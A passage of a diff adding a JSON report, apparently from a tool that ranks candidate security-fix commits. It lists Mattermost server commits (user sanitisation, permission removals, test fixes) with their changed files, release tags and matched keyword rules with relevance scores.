cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: sanitize", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: field, test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27471", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "075d0664e478d8f8e425d3d6a3962e2ff2af0f7c", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720547871, + "hunks": 16, + "message": "MM-58548 Remove manage_team permissions from System Console Ancillary permissions (#27395) (#27599) Automatic Merge", + "changed_files": [ + "server/channels/api4/channel.go", + "server/channels/api4/channel_test.go", + "server/channels/api4/group.go", + "server/channels/api4/group_test.go", + "server/channels/db/migrations/migrations.list", + "server/channels/db/migrations/mysql/000124_remove_manage_team_permission.down.sql", + "server/channels/db/migrations/mysql/000124_remove_manage_team_permission.up.sql", + "server/channels/db/migrations/postgres/000124_remove_manage_team_permission.down.sql", + "server/channels/db/migrations/postgres/000124_remove_manage_team_permission.up.sql", + "server/public/model/role.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27395": "Automated cherry pick of #27395 #27599 Automated cherry pick of #27395 #27600 Automated cherry pick of #27395 #27601 Automated cherry pick of #27395 #27602", + "27599": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "73c392f1f2c913dbe3e7134dfd0e2760f4648b17" + ], + [ + "no-tag", + "99881b819ac8bb8b8cb45994c9fbab066562e050" + ], + [ + "no-tag", + "e990b1c1c86779060e980955746a79f693f2835c" + ], + [ + "no-tag", + "704fa1917edd3156cb069f490a91f99a0c16513c" + ] + ], + "tags": [ + "v9.10.1", + "v9.10.1-rc1", + "v9.10.1-rc2", + "v9.10.1-rc3", + "v9.10.2", + "v9.10.2-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: console, system", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: role, test", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27395, 27599", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "d71e5e4f4ef05c336e27219c92c2599853f99abe", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721172820, + "hunks": 21, + "message": "MM-57354: Fix elastic search e2e tests (#27670)", + "changed_files": [ + "e2e-tests/cypress/tests/integration/channels/autocomplete/helpers.ts", + "e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/crt_settings_spec.js", + "e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/global_threads_spec.js", + "e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/replies_spec.js", + "e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/unread_spec.js", + "e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/helpers/index.js", + "e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/system_console_spec.js", + "e2e-tests/cypress/tests/support/ui/post_dropdown_menu.js", + "e2e-tests/cypress/tests/support/ui/sidebar_left.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27670": "Automated cherry pick of #27670 #27799" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: ElasticSearch", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/helpers/index.js, e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/system_console_spec.js", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: elasticsearch, console, test, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27670", + "relevance": 2 + } + ] + }, + { + "commit_id": "b25820b5c56ff7b62ff60d01e085a4fce1ebbc52", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721203654, + "hunks": 9, + "message": "Added a bunch of debugging logs for Elasticsearch index check (#27678) * Added a bunch of debugging logs for Elasticsearch index check * Update server/channels/app/elasticsearch.go --------- Co-authored-by: Harrison Healey ", + "changed_files": [ + "server/channels/app/elasticsearch.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27678": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: server/channels/app/elasticsearch.go", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: elasticsearch", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: elasticsearch", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27678", + "relevance": 2 + } + ] + }, + { + "commit_id": "d44c3d5d45a3f865244178b322dbd0b8576f1316", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721055123, + "hunks": 114, + "message": "Replace Hard-coded HTTP Verbs with Constants (#27219) * Replace hard-coded HTTP verbs with constants in `net/http`", + "changed_files": [ + "server/channels/api4/bleve.go", + "server/channels/api4/bot.go", + "server/channels/api4/bot_local.go", + "server/channels/api4/brand.go", + "server/channels/api4/channel.go", + "server/channels/api4/channel_bookmark.go", + "server/channels/api4/channel_local.go", + "server/channels/api4/cloud.go", + "server/channels/api4/cluster.go", + "server/channels/api4/command.go", + "server/channels/api4/command_local.go", + "server/channels/api4/compliance.go", + "server/channels/api4/config.go", + "server/channels/api4/config_local.go", + "server/channels/api4/data_retention.go", + "server/channels/api4/drafts.go", + "server/channels/api4/elasticsearch.go", + "server/channels/api4/emoji.go", + "server/channels/api4/export.go", + "server/channels/api4/export_local.go", + "server/channels/api4/file.go", + "server/channels/api4/group.go", + "server/channels/api4/group_local.go", + "server/channels/api4/hosted_customer.go", + "server/channels/api4/image.go", + "server/channels/api4/import.go", + "server/channels/api4/import_local.go", + "server/channels/api4/integration_action.go", + "server/channels/api4/ip_filtering.go", + "server/channels/api4/job.go", + "server/channels/api4/job_local.go", + "server/channels/api4/ldap.go", + "server/channels/api4/ldap_local.go", + "server/channels/api4/license.go", + "server/channels/api4/license_local.go", + "server/channels/api4/limits.go", + "server/channels/api4/metrics.go", + "server/channels/api4/oauth.go", + "server/channels/api4/outgoing_oauth_connection.go", + "server/channels/api4/permission.go", + "server/channels/api4/plugin.go", + "server/channels/api4/plugin_local.go", + "server/channels/api4/post.go", + "server/channels/api4/post_local.go", + "server/channels/api4/preference.go", + "server/channels/api4/reaction.go", + "server/channels/api4/remote_cluster.go", + "server/channels/api4/report.go", + "server/channels/api4/role.go", + "server/channels/api4/role_local.go", + "server/channels/api4/saml.go", + "server/channels/api4/scheme.go", + "server/channels/api4/shared_channel.go", + "server/channels/api4/status.go", + "server/channels/api4/system.go", + "server/channels/api4/system_local.go", + "server/channels/api4/team.go", + "server/channels/api4/team_local.go", + "server/channels/api4/terms_of_service.go", + "server/channels/api4/upload.go", + "server/channels/api4/upload_local.go", + "server/channels/api4/usage.go", + "server/channels/api4/user.go", + "server/channels/api4/user_local.go", + "server/channels/api4/webhook.go", + "server/channels/api4/webhook_local.go", + "server/channels/api4/websocket.go", + "server/channels/manualtesting/manual_testing.go", + "server/channels/web/oauth.go", + "server/channels/web/saml.go", + "server/channels/web/static.go", + "server/channels/web/webhook.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27219": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: server/channels/api4/elasticsearch.go", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: limit, role, elasticsearch, system, file, test, connection", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27219", + "relevance": 2 + } + ] + }, + { + "commit_id": "2e4be7a5fb8782c0235f598caf6e56e1c6c2ec81", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721046459, + "hunks": 1, + "message": "Update Copilot plugin prepackaged version to 0.8.3 (#27645) (#27657) (cherry picked from commit fa8269e4ab0c9e2986ef3dd505363a3bc5ab8a52) Co-authored-by: Christopher Speller ", + "changed_files": [ + "server/Makefile" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27645": "Automated cherry pick of #27645 #27657 Automated cherry pick of #27645 #27658", + "27657": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "fa8269e4ab0c9e2986ef3dd505363a3bc5ab8a52" + ], + [ + "no-tag", + "3e1d32cb68e93a768514eace57a6217e3350edc5" + ] + ], + "tags": [ + "v9.10.1", + "v9.10.1-rc2", + "v9.10.1-rc3", + "v9.10.2", + "v9.10.2-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: version", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27645, 27657", + "relevance": 2 + } + ] + }, + { + "commit_id": "b9c444c533777e775b27d5c27efaa9ab8d2bc42b", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720182470, + "hunks": 21, + "message": "MM-58525 Fix upload file permissions (#27298) (#27533) Automatic Merge", + "changed_files": [ + "server/channels/db/migrations/migrations.list", + "server/channels/db/migrations/mysql/000123_remove_upload_file_permission.down.sql", + "server/channels/db/migrations/mysql/000123_remove_upload_file_permission.up.sql", + "server/channels/db/migrations/postgres/000123_remove_upload_file_permission.down.sql", + "server/channels/db/migrations/postgres/000123_remove_upload_file_permission.up.sql", + "webapp/channels/src/components/admin_console/permission_schemes_settings/guest_permissions_tree/__snapshots__/guest_permissions_tree.test.tsx.snap", + "webapp/channels/src/components/admin_console/permission_schemes_settings/guest_permissions_tree/guest_permissions_tree.tsx", + "webapp/channels/src/components/admin_console/permission_schemes_settings/permissions_tree/__snapshots__/permissions_tree.test.tsx.snap", + "webapp/channels/src/components/admin_console/permission_schemes_settings/permissions_tree/permissions_tree.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27298": "", + "27533": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "ea78382fd246a2c4723ce3377bc301f112ea3a84" + ], + [ + "no-tag", + "6147c51cd2df1cb9138563cf53d70f0bf9d7996e" + ], + [ + "no-tag", + "06249d99072a9efed255aa4e6b9c40d837e045a1" + ] + ], + "tags": [ + "v9.5.8", + "v9.5.8-rc1", + "v9.5.8-rc2", + "v9.5.9", + "v9.5.9-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: console, file, test", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27298, 27533", + "relevance": 2 + } + ] + }, + { + "commit_id": "8e5d3961105417401b90d26c5f8c73fecf5df1a4", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719944870, + "hunks": 8, + "message": "Sanitize RemoteEmail user prop (#27170) (#27514) Automatic Merge", + "changed_files": [ + "server/platform/services/sharedchannel/service.go", + "server/platform/services/sharedchannel/sync_recv.go", + "server/platform/services/sharedchannel/util.go", + "server/public/model/shared_channel.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27170": "Automated cherry pick of #27170 #27512 Automated cherry pick of #27170 #27513 Automated cherry pick of #27170 #27514 Automated cherry pick of #27170 #27515 Automated cherry pick of #27170 #27516", + "27514": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "81f1e384ea58f224d5672a8c94df451a75dd3cbc" + ] + ], + "tags": [ + "v9.8.3", + "v9.8.3-rc1", + "v9.8.3-rc2" + ], + "matched_rules": [ + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: sanitize", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27170, 27514", + "relevance": 2 + } + ] + }, + { + "commit_id": "be94c47607b156c31cb5906670479a95ab806f0f", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721233473, + "hunks": 48, + "message": "[MM-57418] Implement support for defining plugin settings sections (#27654) * Implement support for defining plugin settings sections * Implement custom plugin configuration sections * Tests * Update test * Improvements", + "changed_files": [ + "server/public/model/manifest.go", + "server/public/model/manifest_test.go", + "webapp/channels/src/actions/admin_actions.jsx", + "webapp/channels/src/actions/admin_actions.test.js", + "webapp/channels/src/components/admin_console/admin_definition.tsx", + "webapp/channels/src/components/admin_console/custom_plugin_settings/custom_plugin_settings.test.tsx", + "webapp/channels/src/components/admin_console/custom_plugin_settings/index.ts", + "webapp/channels/src/components/admin_console/schema_admin_settings.tsx", + "webapp/channels/src/components/admin_console/types.ts", + "webapp/channels/src/i18n/en.json", + "webapp/channels/src/plugins/registry.ts", + "webapp/channels/src/reducers/plugins/index.test.ts", + "webapp/channels/src/reducers/plugins/index.ts", + "webapp/channels/src/selectors/admin_console.jsx", + "webapp/channels/src/types/store/plugins.ts", + "webapp/channels/src/utils/constants.tsx", + "webapp/platform/types/src/plugins.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27654": "[MM-57418] System console config page review mattermost/mattermost-plugin-calls#815" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: configuration, test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: console, test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27654", + "relevance": 2 + } + ] + }, + { + "commit_id": "9304c404dfe4c5b1465a13aa831e6b413688853f", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721221327, + "hunks": 23, + "message": "MM-58756: paginate webhooks list (#27368) * MM-58756: paginate webhooks list * show error if webhook list fails", + "changed_files": [ + "server/cmd/mmctl/commands/webhook.go", + "server/cmd/mmctl/commands/webhook_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27368": "Use paged requests to request the list of webhooks in mmctl #26663" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: fail", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27368", + "relevance": 2 + } + ] + }, + { + "commit_id": "43355fe32a953e8b7aa82a9c4cd024311665c098", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721154483, + "hunks": 7, + "message": "MM-58847 Sanitize User (#27471) (#27686) Automatic Merge", + "changed_files": [ + "api/v4/source/users.yaml", + "server/channels/api4/user_test.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686", + "27686": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.5.8", + "v9.5.8-rc2", + "v9.5.9", + "v9.5.9-rc1" + ], + "matched_rules": [ + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: sanitize", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27471, 27686", + "relevance": 2 + } + ] + }, + { + "commit_id": "cd60532e9a41cbc2150e7747308f9bb08aa61f15", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721154480, + "hunks": 7, + "message": "MM-58847 Sanitize User (#27471) (#27685) Automatic Merge", + "changed_files": [ + "api/v4/source/users.yaml", + "server/channels/api4/user_test.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686", + "27685": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.8.3", + "v9.8.3-rc2" + ], + "matched_rules": [ + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: sanitize", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27471, 27685", + "relevance": 2 + } + ] + }, + { + "commit_id": "7bbf7ec130487af9a324040259b2e942d7b9ba3c", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721154476, + "hunks": 7, + "message": "MM-58847 Sanitize User (#27471) (#27684) Automatic Merge", + "changed_files": [ + "api/v4/source/users.yaml", + "server/channels/api4/user_test.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686", + "27684": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.9.2", + "v9.9.2-rc2", + "v9.9.3", + "v9.9.3-rc1" + ], + "matched_rules": [ + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: sanitize", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27471, 27684", + "relevance": 2 + } + ] + }, + { + "commit_id": "a9982ea873ce9209be73f29ad579709e3ecc89ec", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721154473, + "hunks": 7, + "message": "MM-58847 Sanitize User (#27471) (#27683) Automatic Merge", + "changed_files": [ + "api/v4/source/users.yaml", + "server/channels/api4/user_test.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686", + "27683": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.10.1", + "v9.10.1-rc2", + "v9.10.1-rc3", + "v9.10.2", + "v9.10.2-rc1" + ], + "matched_rules": [ + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: sanitize", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27471, 27683", + "relevance": 2 + } + ] + }, + { + "commit_id": "0b9461fc4b95169acfe0b643a57ac5497389f880", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721154470, + "hunks": 7, + "message": "MM-58847 Sanitize User (#27471) (#27682) Automatic Merge", + "changed_files": [ + "api/v4/source/users.yaml", + "server/channels/api4/user_test.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686", + "27682": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "SEC_KEYWORDS_IN_MESSAGE", + "message": "The commit message contains some security-related keywords: sanitize", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27471, 27682", + "relevance": 2 + } + ] + }, + { + "commit_id": "e917709be58573b3f55d7aa99bbead8a3c667081", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721142600, + "hunks": 2, + "message": "feat(e2e): Manage User Settings e2e tests (#27618)", + "changed_files": [ + "e2e-tests/cypress/tests/integration/channels/enterprise/system_console/user_management/user_management_admin_control_spec.js", + "e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27618": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: console, test, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27618", + "relevance": 2 + } + ] + }, + { + "commit_id": "e05ec0efc330c3e763157a65eaff11cbf300bf97", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721140602, + "hunks": 9, + "message": "Fix E2E test triggering (#27669) Co-authored-by: Mattermost Build ", + "changed_files": [ + ".github/workflows/e2e-fulltests-ci.yml", + ".github/workflows/e2e-tests-ci.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27669": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27669", + "relevance": 2 + } + ] + }, + { + "commit_id": "a272fb29a5b00e80b05f4de8209e50ef467f4d85", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721038454, + "hunks": 159, + "message": "Unify advanced create post and advanced create comment (#26419) * Unify advanced create post and advanced create comment * Re-add focus on mount prop and fix minor selector issue with get draft * Address feedback * Some merge fixes and some comments addressed * Remove tests * Fix tests * Address feedback * Fix formatting bar spacer and minor refactoring * Fix remove upload from clean draft issue * Fix types --------- Co-authored-by: Mattermost Build ", + "changed_files": [ + "webapp/channels/src/actions/views/create_comment.test.jsx", + "webapp/channels/src/actions/views/create_comment.tsx", + "webapp/channels/src/actions/views/drafts.ts", + "webapp/channels/src/components/advanced_create_comment/__snapshots__/advanced_create_comment.test.tsx.snap", + "webapp/channels/src/components/advanced_create_comment/advanced_create_comment.test.tsx", + "webapp/channels/src/components/advanced_create_comment/advanced_create_comment.tsx", + "webapp/channels/src/components/advanced_create_comment/index.ts", + "webapp/channels/src/components/advanced_create_post/__snapshots__/advanced_create_post.test.tsx.snap", + "webapp/channels/src/components/advanced_create_post/advanced_create_post.test.tsx", + "webapp/channels/src/components/advanced_create_post/advanced_create_post.tsx", + "webapp/channels/src/components/advanced_create_post/index.ts", + "webapp/channels/src/components/advanced_create_post/prewritten_chips.tsx", + "webapp/channels/src/components/advanced_text_editor/advanced_text_editor.test.tsx", + "webapp/channels/src/components/advanced_text_editor/advanced_text_editor.tsx", + "webapp/channels/src/components/advanced_text_editor/priority_labels.tsx", + "webapp/channels/src/components/advanced_text_editor/remote_user_hour.tsx", + "webapp/channels/src/components/advanced_text_editor/use_emoji_picker.tsx", + "webapp/channels/src/components/advanced_text_editor/use_groups.tsx", + "webapp/channels/src/components/advanced_text_editor/use_key_handler.tsx", + "webapp/channels/src/components/advanced_text_editor/use_orientation_handler.tsx", + "webapp/channels/src/components/advanced_text_editor/use_plugin_items.tsx", + "webapp/channels/src/components/advanced_text_editor/use_priority.tsx", + "webapp/channels/src/components/advanced_text_editor/use_submit.tsx", + "webapp/channels/src/components/advanced_text_editor/use_textbox_focus.tsx", + "webapp/channels/src/components/advanced_text_editor/use_upload_files.tsx", + "webapp/channels/src/components/analytics/team_analytics/index.ts", + "webapp/channels/src/components/channel_view/__snapshots__/channel_view.test.tsx.snap", + "webapp/channels/src/components/channel_view/channel_view.tsx", + "webapp/channels/src/components/common/chip/chip.tsx", + "webapp/channels/src/components/drafts/panel/panel_body.tsx", + "webapp/channels/src/components/threading/virtualized_thread_viewer/create_comment.tsx", + "webapp/channels/src/components/threading/virtualized_thread_viewer/virtualized_thread_viewer.tsx", + "webapp/channels/src/components/tours/onboarding_tour/send_message_tour_tip.tsx", + "webapp/channels/src/i18n/en.json", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/posts.test.ts", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/posts.ts", + "webapp/channels/src/selectors/rhs.ts", + "webapp/channels/src/selectors/storage.ts", + "webapp/channels/src/utils/post_utils.ts", + "webapp/channels/src/utils/utils.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "26419": "Not able to Page Up/Down in the center panel #26120 Refactor Create Post / Create Comment #24261 Fix drafts not being synced with the server #27725 Fix edit last message #27739 Migrate Createpost to v10 version mattermost/mattermost-plugin-ai#225" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file, test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 26419", + "relevance": 2 + } + ] + }, + { + "commit_id": "87d983cc7ffd87c26a9a219047684847c9663c29", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720759924, + "hunks": 241, + "message": "Sysadmin manage user settings (#27583) * Opened modal from system console * WIP * WIP * WIP * Handled saving user * Successfully updated user based settings * WIP * WIP * All settings are updating well * Fixed modal style * Added admin mode indicators in modal * Added confirmation dialog * Lint fixes * Added license check * Added permission check * Fixed i18n file order * type fix * Updated snapshots * Handled performance debugging setting * Some styling tweaks * Fixed text alighnment * Updated license required from professional to enterprise * Handled long user names * review fixes * Added manage setting option in user list page context menu * Added loader * Minor reordering * Removed confirm modal * Updated snapshots for removed 